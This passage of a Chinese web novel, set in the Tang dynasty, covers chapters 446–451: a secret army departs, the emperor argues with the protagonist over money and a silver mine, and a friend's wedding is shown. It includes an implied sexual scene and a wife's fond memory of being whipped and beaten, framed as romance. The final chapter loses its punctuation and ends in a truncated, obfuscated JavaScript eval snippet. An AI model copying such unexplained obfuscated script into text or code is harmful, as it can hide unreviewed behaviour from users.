紧接着,陈衍按照李世民的吩咐写下了一个药方,又叮嘱了太子妃许多事,以及平时需要注意的东西。 直到午后,李承乾已经拉虚脱了,重新睡了下去。 但看上去确实比之前好受了很多,至少没有了剧烈的腹痛。 又去看了看李承乾的儿子后,陈衍离开之前,对李世民道:“陛下,明天无旌骑出征,您是否要过来一趟。” 原先陈衍可以很确定李世民会来,然而发生这件事后,他不太确定了。 李世民沉思道:“去吧,朕明天跟皇后一同前往。” 陈衍了然。 国君与国母一同送别,其对无旌骑来说意义非凡。 只可惜李承乾肯定是去不了,否则再加上一个储君,牌面算是拉满了。 “你们确定好具体的时间了吗?上午还是下午?”李世民想确定一下。 “上午,巳时准时出发!”陈衍顺口说了一句,“到目前为止,一切都已经准备好了,没有任何意外,只待明天登船出发。” “巳时啊。”李世民微微颔首,“没问题,我跟皇后会按时到场的。” “那我就先回去了。”陈衍提出告辞。 李世民嗯了声,意味深长地说了一句,“记得小心点,你同样是关键人物之一。” “......” 第446章 风!大风! 走出东宫,陈衍回头望了一眼,暗自惊叹那些人真是疯了,居然敢给李承乾下毒。 同时也在警惕李世民最后叮嘱的话。 陈衍很清楚,自己作为对付世家的狗头军师,已经深深绑在了李世民的船上,不谈两人翁婿的关系,他们之间的利益几乎已经密不可分。 世家搞不好真会对他出手,毕竟连李承乾都遭了毒手,他算个啥? 思忖一会儿,陈衍犹如没事人一样,返回了渭南县。 “夫君,你回来啦?”李丽质瞧见他,心里一喜,快步迎上来,眼睛扑闪扑闪的:“你吃饭了吗?我让青儿给你留了饭菜,若是没吃,我让青儿热一下。” 陈衍颇为意外,伸出手指,轻轻捏了捏佳人的脸庞,“虽然偷听不对,但至少让你大胆了些。” 不给她说话的机会,陈衍继续道:“不过吃饭免了,魏王在哪里?又不在家吗?” 李丽质有些无语,“魏王在哪里,你难道不清楚吗?” “不知你跟他说了什么,最近他几乎把科研院当家了,从你早上离开之后到现在还没回来。” “中午皇嫂去叫他吃饭,喊了好几次都没喊出来。” “啧!”陈衍眉头轻挑,“你让青儿去,把他叫过来,就说有要事相商。” 李丽质看了他两眼,轻轻点头,“青儿估计叫不出来,我去吧,你先去正厅等一会儿。” “麻烦你了。”陈衍不再多言,迈步进入正厅。 李丽质顿了顿,凝望着他离开的背影。 总感觉陈衍有心事...... “......” 翌日,陈衍特意打扮了一下,穿的像个正式官员。 与同样穿得正式的魏王李泰坐上马车,前往在渭河下游造船处。 那里亦是无旌骑出发的地方。 折冲府内,今日天还未亮时,八百士兵已经乔装打扮,分散前往了那里。 当陈衍和魏王李泰抵达时,此处已经被府兵重重围了起来,八百士兵已经分队登船了。 下面只剩下牛进达等人。 面对着九艘大船,陈衍侧头看向身边的袁天罡,“国师此时的心情如何?” “说不上来。”袁天罡依旧是那副青衫打扮,背负双手,遥遥望着大船:“我从未想过我会有带兵出征的一天,还是带这样一支特别的军队,心里隐隐有些期待,同时也预感我余下的人生说不定会很精彩。” “这是我从未设想过的路。” 李淳风脸上挂着淡淡的笑意,眼睛相当明亮,“我跟袁兄不同,此刻我只觉得从前的人生白活了。我头一次认识到,我一身本事原来不止可以帮人趋吉避凶,还能为天下黎民寻找点点星光。” “我感觉到了,我走在了正确的路上,就在此刻,就在脚下。” “它是我全新的开始,亦是这片土地兴盛的开端!” 话落,李淳风与袁天罡对视一眼,当着众人的面,朝陈衍深深作揖,“陈先生,我等去也!” 说完,两人挥袖登船,没有任何留恋,有的只有期许。 “牛叔,您呢?”陈衍又问。 牛进达紧紧握着腰间刀把,嗓音有些沙哑,“很奇特,我生于乱世,自幼习武,长大参军,跟你爹一样靠战功有了如今地位。” “我曾无数次率兵出征,从未有一次如此刻般感觉到热血沸腾。陈小子,我要感谢你啊,是你给了我这次机会。” “牛叔,我等你们回来,那时你们想喝多少酒我都不收钱。”陈衍嘴角含笑。 “还有我!”李泰也给出承诺。 “哈哈哈哈哈!”牛进达仰天长笑,“如此,那我就更要尽快回来了。” “诸将士,听到没有,等我们回来,让那名满长安的少年国公,以及魏王殿下亲自为我们倒酒,喝个痛快!” 此话一出,不止陈衍笑了,于船上站立的士兵们也笑了。 与陈衍有过一面之缘的方不语大声道:“敢问国公大人,牛统领说得可是实话?” “当然!”陈衍身躯笔直如松,站在码头前凝视着众多士兵,语气铿锵有力,“等尔等归来,吾必为尔等递上最大的碗,倒满最烈的酒,与君痛饮!” “必不让大人失望!” 回应陈衍的,是这八百即将踏上征程的战士。凝聚在一起的声音在这天地间回荡开来,久久不熄。 “小子,我走了。”牛进达拍了拍陈衍的肩膀,又看了眼后面三个沉默不语的少年郎。 “秦小子,你大婚我怕是不能亲自到了,但我给你备了礼,记得收。” 秦怀道咧嘴笑道:“那我可得好好看看,若是不满意,我就带你家小子去逛青楼。” 牛进达眼睛一瞪,“去你的,我家小子才多大?你别太不当人了!” “滚滚滚。” 他一脸嫌弃地挥着手,带着苏定方和薛礼登船了。 陈衍 对回头望过来的薛礼说了一句,“珍惜好这次机会,不为任何人,只为你自己。” “谢大人!”薛礼郑重道谢,跟上了牛进达。 此时,即将到无旌骑出发的时间点,李世民跟长孙皇后几乎是卡着点来的,盛装而来,宫女与宦官分成两排跟在身后。 李世民走到陈衍身边,目光扫过整装待发的船队,朗声道:“诸位,今日朕与皇后送尔等离开,来日,朕也将与皇后迎接尔等归来。” “届时,朕!亲自为尔等接风洗尘!” “是陛下!”船上有人激动高呼,“陛下和皇后殿下亲自为我等送别来了。” “立正!” 袁天罡一声令下。 众将士条件反射般挺直腰板,整齐划一地站定。 “拔刀!” “铮——” 八百柄特制长刀应声出鞘,这些特意打造、不带任何大唐制式特征的兵刃,在朝阳下泛着凛冽寒光。 袁天罡怒吼:“回陛下,吾等,定不辱使命!” “我等,定不辱使命!” 庞大的吼声震天动地,连渭河的波涛声都被盖了过去。 李世民看着这震撼的一幕,不禁心潮澎湃。 他同样用尽全身力气大喊:“风!大风!” “风!大风!” 八百将士发出了战吼,比以往任何一次都要强烈,震撼人心。 “......” 第447章 陈衍:我没钱! 九艘大船渐渐驶离,没有停留,驶向了背井离乡、颠沛流离的命运。 李世民、长孙皇后、魏王李泰、渭国公陈衍,以及三位国公长子遥望渐行渐远的船影,半晌无言。 从最初的选人,这八百人从一群贫困瘦弱之人,一步步被他们培养至今,决定好的出征日一拖再拖,如今总算踏上了征途。 不止陈衍以及三位国公长子,就连李世民心情同样复杂。 “朕送别过太多次将士们离去,可从未有一次如此般情绪难以平复。” “子安,你说朕是不是老了,变得多愁善感了?” 陈衍沉默:“陛下,衡山公主才出生不久,您哪里老了?” 李世民:“......” “朕他娘的就多余跟你说!” 程处默三人对陈衍的敬佩再度上升一个层次。 特么的狠人啊! 居然敢跟陛下这样说话。 俺们仨跟陛下站一起都腿软。 长孙皇后摇头失笑,眼看原本有些落寞的李世民被陈衍一句话气得不行,又精神起来,实在难绷。 说陈衍的话气人吧,那确实是。 但陈衍说话气人归气人,可他的话总能让身边的人脱离负面情绪啊,效果简直比她费尽心思和口舌还有用。 李世民没搭理陈衍,望向程处默三人:“你们仨小子......今后打算干点什么?” “如今无旌骑走了,你们还要在折冲府担个闲职吗?” “这......”三人一时间对李世民的话摸不着头脑,不清楚这位皇帝的心思,所以不敢第一时间回答。 还是秦怀道果断点,立即站出来说:“臣等在哪里都行,全听陛下安排。” 李世民轻笑一声,“你倒是聪明些,朕也知晓你们三个小子最初来渭南县折冲府,就是想离开长安撒欢的。” “只是被牛进达折腾了一番,又被子安赶鸭子上架罢了。” “朕了解到,秦小子你最近要大婚了。不如这样吧,朕允你们休息半月,半月之后,朕再给你们招收一批人,由你们重新带出一支无旌骑,如何?” 此话一出,所有人都傻眼了。 又招收几百人来带? 还要组建一支跟无旌骑一样的军队? 程处默三人大喜,这不正合他们心意吗? 反正他们本来没什么事干,长安又不想回,而且当教官已经当上瘾了 ,如果再有一批人给他们留在渭南县,那简直再好不过啊。 高兴的三人立马就想答应下来。 不曾想陈衍不乐意了,“陛下,咱们最初可是说好的,只有八百人,现在人已经带出来了,而且已经出征了,怎么还要招收呢?” “不行不行,绝对不行。” “你这话说的。”李世民反驳道:“如无旌骑这样的精兵强将,哪个帝王会嫌少?” “这仨小子既然有带兵的本事,难不成还要回长安继续混迹青楼不成?” “那还不如留在渭南县,继续为我大唐培养更多精锐出来呢。” 陈衍暗骂。 精锐精锐,你就知道精锐。 培养精锐不要钱啊? 想想他从开始培养无旌骑开始,都砸了多少钱进去了。 起初这些士兵身体弱,他给人吃的是调理身体的药膳,睡的是温暖的被窝,家人全部被他安排人照顾到位。 到后来选马、铸造兵器,铠甲,哪哪不需要钱? 说一个直观的例子。 光一把陌刀的锻造,哪怕他有更好的锻钢法,成本也需要五十多贯钱。 你以为陌刀凭什么可以人马俱碎?都是钱砸出来的啊! 刚把无旌骑送走,没想到李世民反手又想组建一支类似的军队,陈衍哪里遭得住? “那也不要在渭南县,反正我没钱了,我是穷鬼。”陈衍很坚定。 但他的话,险些给李世民和长孙皇后整笑了。 “如果说你陈衍是穷鬼的话,那数尽天下人,还有什么能算得上有钱?”李世民嗤笑,根本不相信。 如果他没记错,长安、渭南县所有的买卖,这小子一个人就占了两成多,这可都落入了他私人口袋。 还有一个越做越大,逐渐往聚宝盆方向发展的钱庄,他说没钱谁信? 当然啦,李世民也没想继续让陈衍出钱替他培养军队,只是借助渭南县的地盘,以及这三个有经验的小子罢了。 只是陈衍说出来的话实在可恨,那么有钱居然说没钱。 陈衍实在忍不了李世民这么看他了,怒道:“那我再有钱也经不住花啊,陛下你难道不了解培养无旌骑这样一支军队需要耗费多少钱吗?陌刀的锻造和玄夜铠的锻造成本你难道不了解吗?” “还有,你再看看刚刚驶离的九艘大船,那可是我从去年开始大范围招收工匠,日日夜夜,耗费了几十万贯钱财才打造出 来的。” “还有魏王那科研院,你以为那水车、水力纺织机、那曲辕犁是凭空变出来的不成?这可都是不知多少贯钱砸出来的。” “这一桩桩一件件,哪样不是我自己出的钱?” “哪样又给我一文钱回报了?” 听到这里,李世民和长孙皇后的面色已经变了。 陈衍却越说越气,扯着自己的袖子说:“你瞅瞅,我身上这身官袍崭新崭新的,你知道为啥不?” “都是我平时舍不得穿啊!生怕弄坏了我没钱做,我哪有钱啊?” 魏王撇嘴。 陈衍之前说的他是认可的,不管是折冲府,科研院,还是这个造船厂,他都砸下去了海量的钱财。 但什么狗屁穿坏了不舍得穿...... 听听得了。 前两天陈衍还跟他琢磨琢磨,请个猎人去猎头虎豹熊回来尝尝鲜呢。 即使陈衍花出去了大部分钱,但剩下的也足够每日挥霍了。 “子安,是我等误会你了......”长孙皇后忽然有些心疼面前的孩子了。 他真的一直在践行自己说的话,始终在为了天下着想啊。 现在想想,陈衍又赚了多少钱这种话她已经听腻了,但还从未听过陈衍挥霍过,买过什么贵重物品。 过的生活跟从前还是个小县伯时没什么区别,原来是把赚来的钱都不求回报的花出去了。 “是朕的话不妥,苦了你了。”李世民叹息,拍了拍陈衍的肩膀。 陈衍抽了抽鼻子,“没逝,我自己委屈点没关系,只要渭南县可以好好发展,大唐能够兴盛便好。” “......” 第448章 提前开采银矿 一听这话,长孙皇后更愧疚了,当即出言安慰陈衍,并表明如果有缺什么,尽管向她开口。 然而李世民却忽然感觉有些不对。 你说陈衍一心为国为民......他是信的。 毕竟散尽家财这种事,陈衍从前就干过。 但你若说陈衍一副大义凛然的姿态,他反倒不怎么信了。 只有对陈衍无比了解,跟着混迹了好几年的程处默三人,默默地看着陈衍卖惨不说话。 遥想当年,他们混迹平康坊的时候,这家伙就靠着这副姿态骗了不少姑娘,白吃白喝了好长时间。 尉迟宝琳低声说:“你们说,这家伙能娶上俩公主,后院还不起火,靠的是不是这不要面皮的劲?” 秦怀道以及程处默深以为然。 陈衍! 实乃吾辈楷模也! “好了好了,事情就这样决定了。”李世民已经逐渐意识到上当了,没好气地打断陈衍继续卖惨。 “军队,肯定是要重新组建的!” “不过钱不用你出,朕自己来便好,只是用渭南县的折冲府地盘,以便让这三个小子教导罢了。” “你同不同意?” 陈衍一本正经:“陛下都开口了,我哪有不同意的道理?” “请陛下放心,我也会时刻盯着折冲府的,保证他们三个好好练兵!” 李世民嘴角一抽,刚刚你可是不行不行,绝对不行来着...... “行,既然如此,就这么决定了。”他看向程处默三人,“你们先回去准备一下吧,朕也需要一点时间来选人。” “是,陛下!” 三人应下,然后离开了。 李世民这时才对陈衍说:“重新组建一支军队,在朕看来是有必要的,但可以不跟无旌骑一样隐藏在暗中。” “无旌骑有一支就够了。” “随着时间往后推移,朕越能意识到,未来或许不会平静,战火可能不止一次点燃,朕需要更多的精锐。” “况且,朕已经打算先打造一批跟无旌骑一样的武器、铠甲供玄甲军使用,先前往倭国将银矿占领下来,然后秘密开采,等无旌骑回来,再由他们接手。” “嗯?”陈衍愕然,“可这跟我们从前的计划不一样啊。” 李世民摇头,“计划赶不上变化,有你的帮助,朕积累了无比可观的财富,但一个国家需要用到这笔财富的地方太多了。” “大唐需要跟渭南县一样发展,那么很多地方便需要砸钱,更要为即将到来的战事做准备。” “正所谓一步快,步步快,朕需要用到那座银矿里的财富。” “这样啊......”陈衍陷入思索,随即点点头,“那陛下决定就好,如果可以的话,我甚至希望直接打下倭国,这是最保险的方式。” “你以为朕不想啊?”李世民无语,这不是左右被群狼盯上了吗? 要不然得知有银矿那一刻,他就直接点兵了。 “好了,朕和皇后不能在外久留,这些事告诉你一声,你记得便好。”李世民说着,顿了顿,叮嘱道:“别忘了昨日朕和你说的话。” 陈衍严肃应下。 李世民这才满意,长孙皇后轻笑,“子安,有空带小岁安进宫坐坐。” “我记住了皇后殿下。” 聊了一会儿,两人带着人离开了,只剩下陈衍和魏王。 两人对视一眼,魏王斜眼道:“行啊你,竟然把母后都骗了过去,你又有一个把柄落入了我手里。” “呵!”陈衍不屑道:“大家半斤八两,谁手里没几个把柄啊?” “更何况,你怎么跟我说话的?以后还想不想听课,想不想得到新的好点子?” “......算你狠!”魏王语气一下子弱了下来。 “......” “回来啦?” 两人一到家,李丽质便迎了上来。 至于为什么不是高阳。 嗯......高阳可能在和魏王妃打麻将吧。 陈衍叹了口气,跟李丽质进屋换了身衣服。 李丽质笑道:“其实你穿官服挺好看的,显得很有气质,更成熟些。” “没办法,条件摆在这里,穿啥衣服不好看?”陈衍摸了摸自己的下巴,颇为自恋道。 李丽质没接话,整理着陈衍换下来的衣服,打算拿去洗洗收起来。 “对了,老秦要成亲了,礼准备好了吗?”陈衍随后问。 “已经按照你的要求准备好了,没什么问题。”李丽质这时想起一件事,“对了,届时我们要回长安,是在那边住一段时间,还是给秦怀道祝贺后,马上回来?” “这个.......” 别说,对于在长安住一段时间,还是马上回来,陈衍都没决定好。 主要是,他感觉这次回长安说不定不会太顺利。 毕竟,连李承乾都遭了毒手,去参加秦怀道的婚礼,大概率是会碰见世家人,或者世家子弟。 危险倒不至于,只是意外情况说不定会有。 想了想,陈衍对李丽质招了招手。 后者一怔,不知想到了什么,脸颊微微泛红,赶忙跑过去锁好门窗,又检查了一遍,然后熟练地坐在陈衍腿上,靠在他怀里。 陈衍闭着眼,嗅着令人心安的发香,淡淡道:“我昨天让你皇兄派人去长安打探各种消息与传闻了,我得等消息传回来才能决定。” 李丽质并不意外,她小声问:“是出了什么问题吗?” 陈衍沉默片刻,道出了实情,“太子被人下毒了,下毒者的手法相当高明,险些令我都没看出来。” “陛下跟世家的矛盾越演越烈,我作为其中的关键人物,回长安或许并不会顺利。” 李丽质闻言大惊,急忙道:“那太子没事吧?” 太子被人下毒,这是她没想到的。 “还好,初期有点严重,躺几天就好了。”陈衍解释了一句。 “那就好......” 李丽质心有余悸,“这些人胆子也太大了吧?怎么敢对太子下毒的?!” “阿耶怕是要震怒了。” “嗯!”陈衍想起李世民当时的样子,“陛下一怒之下怒了一下。” “......” 第449章 我会听话的,我保证 又过几日,距离秦怀道大婚之日还有一天,陈衍从早上起来之后,也没给大小学生上课,更没去县衙,搬了张躺椅,在后院悠闲地晒着清晨的太阳。 温暖的阳光洒在脸上,慵懒地舒展一下身体,舒坦得不行。 “哎,此时情绪此时天,无事小神仙呐~” 就在他有感而发时,一道声音从背后传了过来。 “词是好词,人却不是什么好人呐。” 高阳抱着女儿缓缓走来,在他旁边停下,用余光瞥了依旧在躺椅上没有丝毫起来意思的人。 “细数我大唐诸多国公,除去那些已经年老体弱的,哪个不是整天忙忙碌碌,为国为民?” “你再看看你,呵,还渭国公,这渭字给你都白瞎了。身为县令,却整天躺在家里无事可做,倒是悠闲得紧啊。” 陈衍轻抬眼皮,“什么渭不渭国公的,我又不在乎,你可以叫你父皇给我撤了呀。再说了,我出门忙碌公务,你嫌弃我回来太晚,没有太多时间陪你。我好不容易忙里偷闲,你又嫌弃我待在家里,不上进、不努力。” “我要如何才能让你满意呢?” “你若是能兼顾二者我就满意了,就跟你兼顾我和李丽质一样。”高阳掰了掰伸着脑袋往陈衍那边瞅的女儿,有些不满。 明明是自己天天辛辛苦苦带孩子,连奶娘都没要,全靠她喂养,可女儿就是亲近陈衍,一听到陈衍的声音就左顾右盼,伸头张望。 陈衍笑道:“怎么,听你的语气,似乎颇有怨气?” “我哪敢有怨气啊?”高阳翻了个白眼,“毕竟你陪我一天,然后又陪李丽质一天,谁也不多陪,谁也不少陪,能有什么怨气?” “那我多陪你一会儿?”陈衍又问。 高阳这个女人吧,其实很好满足,只要有时候你对她稍微偏爱一点,她就很高兴了。 而且自高阳怀上孩子,到如今孩子出生两个月,她确实很辛苦,多陪一会儿也无妨。 高阳闻言不说话了,只是饶有深意地望着他。 “好啦,来吧。” 陈衍往旁边挪了挪,自己这专门打造的躺椅足够躺下两个人。 高阳哼哼唧唧地抱着女儿躺下来,小岁安顿时瞪着大眼睛,流着口水一个劲地瞅陈衍,还不停地嗯嗯嗯。 陈衍笑呵呵地把女儿抱过来,让她坐在自己肚子上。 “你看她,一点都不跟我亲。”高阳埋怨道:“早知如此,还不如 生个儿子,我听说儿子都跟娘亲。” “可惜你没有。”陈衍轻轻捏了捏女儿肉嘟嘟的脸蛋,心情一下子好了许多,往日的烦心事都被暂时遗忘了。 “哼!你的小情人呗!” 高阳轻哼,抱着陈衍一只手臂,头靠在他肩膀上,望着自己的丈夫逗弄女儿,心里说不出的满足。 如陈衍所说,她是一个性格很奇怪、有时候又很矛盾的人。 她一方面很希望陈衍继续忙碌,希望他快点能脱离渭南县,回到长安,走进那个足够让他展现才华的朝堂。 高阳为陈衍感到不值,明明做了那么多,到现在仍然是个县令,尽管得到一个国公爵位,但那有什么用? 虚名罢了。 一方面却又满足于在渭南县的生活,平日虽有波澜,可静坐时想起,总能让她笑出来。 或许,等他们都老了,在这里的日子是他们最珍贵的回忆。 定定看了看男人英俊的侧脸,高阳将头埋在他脖颈间,深吸一口他身上的味道,眼里有些迷离。 陈衍只觉得痒,但没阻止她,反而打趣道:“你啊,也不知道哪来的毛病,李丽质都跟你学坏了,从前老诱惑我去欺负你。” “你们两个倒是有不同的调调。” “毕竟是两姐妹嘛,爱好相似有什么好奇怪的?”高阳弯了弯眼眸,这次倒没再避讳什么。 因为她知道,当自己和陈衍躺下来之后,香岚会守在远处,不让人接近。 “更何况,谁带坏李丽质还不清楚呢。” 陈衍一噎,“反正不是我。” “呵,那谁知道呢?”高阳意味深长道。 她从前可没这些毛病,都是遇见陈衍之后才出现的。 “就是欠收拾!”陈衍没好气地吐槽。 高阳笑笑,也不去反驳,只是更用力地抱住陈衍。 从某种方面来讲,他的话并不是没有道理。 高阳确实是欠收拾,但不是任何一个人收拾都可以的,只有陈衍才能给她那种感觉。 那种让她心甘情愿沉溺,让全身心都为之颤栗和疯狂的滋味。 她不止一次在想,如果没有遇见陈衍,遇到这么一个不在乎她身份,敢当着众人的面拿马鞭抽她,甚至在皇宫里还敢打她,把她打到没脾气,又用无与伦比的才华与能力彻底征服她的人,以后会怎么样? 每每想起这些,高阳总觉得恐惧。 如果她当 初嫁给的不是陈衍,而是一个平庸的人,她估计什么事都干得出来。 而一想到没有这种可能,自己已经嫁给了陈衍,高阳又觉得无比庆幸。 庆幸这个人是陈衍,庆幸自己只为他一个人而着迷。 “夫君......我们......会一直在一起吗?”高阳忍不住询问。 “那要看你是否听话咯。”陈衍一边逗弄着女儿,一边笑着回应。 “你若听话,不给我整幺蛾子,咱们当然会好好在一起。” “倘若你不听话,那我就把你赶到公主府去,等女儿长大些,还不让她孝敬你,让你一个人孤独终老!” “那你也太混蛋了。”高阳明白陈衍在说笑,故作恼怒,“这可是我辛辛苦苦养大的女儿,你连让她孝敬我的机会都不给吗?” “不给!”陈衍道:“反正女儿还小,又不记事,我让她叫丽质娘不就行了?反正她确实要叫丽质一声娘亲。” “王八蛋!” 高阳给了他一肘。 “哎,你都跟我接触这么久了,怎么还只会一句王八蛋、混蛋呢?” 陈衍很惆怅。 这个时代的人骂人的话实在太低端了,最严重的就是一句彼其娘之,这让自己这个深受网络熏陶,起手就问候别人十八代祖宗的人显得格格不入。 高阳没理会他,闻着他身上的味道,轻轻闭上了眼。 “我会听话的......我保证!” “......” 第450章 终达成所愿 阳光透过稀疏的枝叶,在两人身上投下斑驳晃动的光点。 小岁安在父亲坚实的肚皮上坐了一会儿,开始不安分地扭动,咿咿呀呀地朝着旁边的母亲伸出手。 高阳见状,心一下子软了,伸手将女儿接回来,轻轻拍着她的背,语气带着嗔怪:“瞧见没,还是离不开娘的。” 陈衍看着她们母女相依的画面,嘴角不自觉地上扬。 他伸出手,用指背轻轻蹭了蹭女儿柔嫩的脸颊,又顺势拂过高阳散落在额前的发丝,“是是是,离不开你。” “好歹是个当娘的人了,还这么幼稚,跟我比什么?” 高阳撇撇嘴,“谁让这小家伙没良心呢?明明是我这个当娘的辛辛苦苦喂养,却偏偏对你更亲近,真是可恶。” “那肯定是你对她不好呗,要不然她怎么不亲近你呢?有时候要从自己身上找找问题。” 高阳眉头一皱,正想跟他辩解一下,怀里的女儿却因为父母的注意力不在自己身上而不满地哼唧起来。 她只好暂时压下情绪,低头柔声哄着孩子。 陈衍听着身旁妻女的软语互动,身心彻底放松下来。 那些朝堂的纷扰、未来的谋划,此刻都被这院中的暖阳和家人的气息隔绝在外。 他伸出手,宽大的手掌轻轻覆在高阳抱着孩子的手背上。 高阳动作微微一顿,随即反手与他十指相扣。 无需更多言语,这一刻的安宁与温情,已然足够。 “......” 回长安的前一天,几乎是陈衍这段时间以来最轻松的一天了。 什么都不用想,什么都不在乎,时不时逗弄一下高阳,哄哄女儿,一整天都没有乱七八糟的事,只觉得满足。 然而,到了晚上的时候,李丽质却带着满心的怨气找了过来。 她胸膛微微起伏,见陈衍仍在带女儿,跟高阳说笑,幽幽道:“夫君和高阳妹妹倒是轻松,一天下来连吃饭都找不到人。” “你们可还记得明天需要回长安,许多东西需要提前准备,秦怀道大婚之事同样需要备礼?” 高阳不自然地偏过头,不说话了。 陈衍尴尬地咳嗽一声,“那个......丽质啊,给老秦的大婚之礼,不是前些日子已经准备好了吗?” “那只是主要的贺礼!”李丽质忍不住说,“以你和秦怀道的关系,难不成咱们就随随便便带件礼物上门就行了吗?” “你当初两次大婚,前前后后,可都是人家母亲帮着忙活,大婚当天又忙着帮你招待客人,准备一些细碎的东西。” “尽管他们家大业大,不需要我们帮着忙活,起码咱家的酒得多送些吧?难不成你要人家去酒楼买?还有,咱家自己做出来的顶级绢帛,得送一些吧?螺钿屏风得要吧?上好的家具得送吧?” “你莫不是以为只送一件就够了?谁家关系好的,不是用清单来记的?” “你没看过秦家当初送你的......” “好好好!”陈衍听得头疼,把女儿给高阳抱着,连忙起身推着李丽质坐下,一边给她揉着肩膀,一边说:“我知晓娘子辛苦啦,是我不对,让你一个人处理这些杂事,我给你揉揉好不好?” 李丽质张了张嘴,但陈衍态度良好,她也不是不依不饶的人,终究未曾继续埋怨。 高阳啧了声,“姐姐,你好像又被拿捏了呢。” “拿捏了呢!” 窗户口,小兕子的脑袋冒了出来,喊了一声后立马跑了。 李丽质:“......” “这个死丫头,等我抓住她,定要好好教训她一顿!”她咬牙切齿。 陈衍捂脸。 “这小丫头片子,现在是越来越皮了。” “那不都因为你吗?” 他不说还好,一说起这个,李丽质怨气更甚,“从前兕子是出了名的听话懂事,你再看看现在?” 陈衍无言以对,只好强行给自己辩解一句,“听话懂事其实不是什么好事,你不也从小被人说听话懂事吗?” “我......”李丽质正想反驳,可一想起自己那心累的童年,郁闷了。 高阳则乐了。 李丽质小时候是出了名的老好人,以前她还经常怂恿李丽质发脾气呢。 “好啦,不要再想这些事了。”陈衍揉着她的肩膀,轻声安慰:“反正都已经过去了,咱们以后幸福就完事了。” “嗯。”李丽质轻轻嗯了声,看了眼外面的天色,“夫君,那我们先回去吧。” 回去...... 陈衍默然,按照往常的规矩,今天确实该陪李丽质了。 然而,今天他不想了。 铺垫了这么久,还没点进展怎么行? 陈衍看了眼有些兴致缺缺的高阳,试探性道:“要不......别回去了?哪能让你一直住侧院呢?让香岚和蝉儿他们带着小 岁安吧。” 高阳:? 李丽质:? 两人眼神颇为微妙,对视一眼,又十分默契地移开目光,各自装作没听到,捏衣角的捏衣角,玩头发的玩头发。 对于陈衍的心思,她们怎么可能猜不到? 说是要推倒主卧重建,但又用要住的原因一拖再拖,无非就是希望有一天能真正享受到齐人之福。 可即使知道又能怎么样? 她们根本拿陈衍毫无办法。 连高阳这种性子强硬的,都不得不把底线一降再降。 从最初态度坚决的针对李丽质,到后来慢慢接受,又到如今仿佛回到从前一般的亲姐妹。 降来降去,终于是降到了这一天。 毕竟,既然反抗不了,那为什么不试着享受呢? 陈衍见状,立刻明白这事稳了。 当即喊来香岚,让她把自己碍事的宝贝闺女给带走。 转身关门锁窗! 李丽质和高阳一看陈衍眼含炽热地走回来,脑子里同时浮现出一个念头: 他想凿我们! 高阳脸色不自然道:“干嘛?” “干!” 高阳:“......” 李丽质此时很紧张,手指握得发白,可心里却隐隐有着期待。 被强行压下去的小恶魔,重新冒了出来。 今晚,他们放弃了以往的一切,和东宫那值得怀念的两次不同,这次三人都点燃了最原始的欲望之火,交缠在一起...... “......” 第451章 崔宣 长安城,翼国公府今日热闹非凡。 只因当今翼国公长子秦怀道与鄂国公府二小姐喜结连理,诸多长安勋贵要么亲自来,要么派人送上贺礼。 秦怀道的母亲贾夫人简直笑开了花,儿子成家,即将有后,自己马上要当奶奶了,怎能不高兴? 当然啦,也有不高兴的。 例如尉迟宝琳。 他跟几个兄弟坐在一起,眼瞅着秦怀道那小子笑得嘴巴没合拢过,心里总不是滋味。 “那可是我最听话的一个妹妹啊” 他十分郁闷,倒也不是说接受不了妹妹嫁人,毕竟女子总归是要嫁人的,他懂事之后就明白会有这一天。 但问题是,自家妹子这么大一朵鲜花,怎么就插秦怀道这坨牛粪上了呢? 尉迟宝琳很不理解。 偏偏此时秦怀道正好空出来一点时间,端着酒杯直奔过来,一来到尉迟宝琳面前,咧嘴就喊: “舅哥,来,咱俩喝一杯,今后就是真兄弟了,得多亲近啊。” 尉迟宝琳:“.” “不是,老秦啊,你说的这叫什么话?”程处默故作不满,环顾众兄弟一眼,“咱以前就不是真兄弟啦?” 尉迟宝琳连忙点头,抓住机会发泄一下心里的郁闷:“就是,老秦,你莫非忘了咱们去年在折冲府一起吃苦受难的日子了?” “咱们可是经历过磨难的啊。” 秦怀道呵呵一笑,随后立马板起脸,“叫什么老秦,叫妹夫!” 尉迟宝琳:“.” 这次,连一直看戏的陈衍都笑了。 三人顿时被吸引,秦怀道霎时间对他举了举酒杯,“老陈,说起来,我跟我家娘子能有今天,还多亏了你啊!” “昔日若不是你给我们出谋划策,又让我们带着牛肉上门,哪有我今天的喜事?” 陈衍笑容一僵,不等他说话,尉迟宝琳眼睛瞪得跟铜铃似的,看向他的目光愈发不善。 “好啊老陈,我说那天秦伯伯怎么好端端的演那么一出苦 肉计呢,原来都是你搞的鬼! 程处默止不住地点头,“起初我也觉得奇怪,按理来说秦伯伯英雄盖世,一辈子都堂堂正正的,怎么还用上计谋了? “如果是这小子在背后捣鬼,那就不奇怪了。 “老陈鬼点子一向多! “我 陈衍正欲开口,尉迟宝琳立即打断:“我什么我? 他抄起酒碗往桌上一拍,“来,今天咱们两人必须有一个是躺着出去的! “要不然这事没完! 陈衍满头黑线,扭头才发现秦怀道这坏小子笑呵呵地走了。 走了 **,你也太不讲道义了吧? 若不是我点出来你跟尉迟宝琳妹妹的屁事,你能有今天? 不给点好处就算了,还**坑我? “宝琳啊你听我解释.陈衍见指望不上秦怀道,打算使出自己的忽悠**。 却不曾想,还没开始,程处默便幽幽开口:“宝琳,你可不能上了他的当,他又想忽悠我们,我们说不过他的。 陈衍:“. 你们可真是我的好兄弟。 就在他们拉拉扯扯,陈衍顶不住要被灌酒的时候,救星来了。 李丽质黑着脸拉着小兕子过来,把妹妹往陈衍那边一推,“你照顾这个倒霉孩子吧,我不管了。 说完她就走了。 搞得陈衍都懵了一瞬,然后低头就对上了兕子略微显无辜的大眼睛。 “.你又干啥了? 兕子抽了口气,扭扭捏捏道:“也没干啥,就问了问新娘子和新郎官啃过没有。 陈衍:“. 他忍不住捂脸,半晌无言。 程处默和尉迟宝琳面面相觑,也不知道说什么好了。 这是传闻中那个听话懂事的晋阳小公主? 陈衍默默盯了她一会,无奈道:“那你跟着我吧,今天是人家的大喜之日,你别捣乱了。 “我没想捣乱啊我看盘子里有枣我都忍住了没吃。”兕子觉得很委屈“我只是看你没跟阿姐” “停!好了别说了停!” 陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 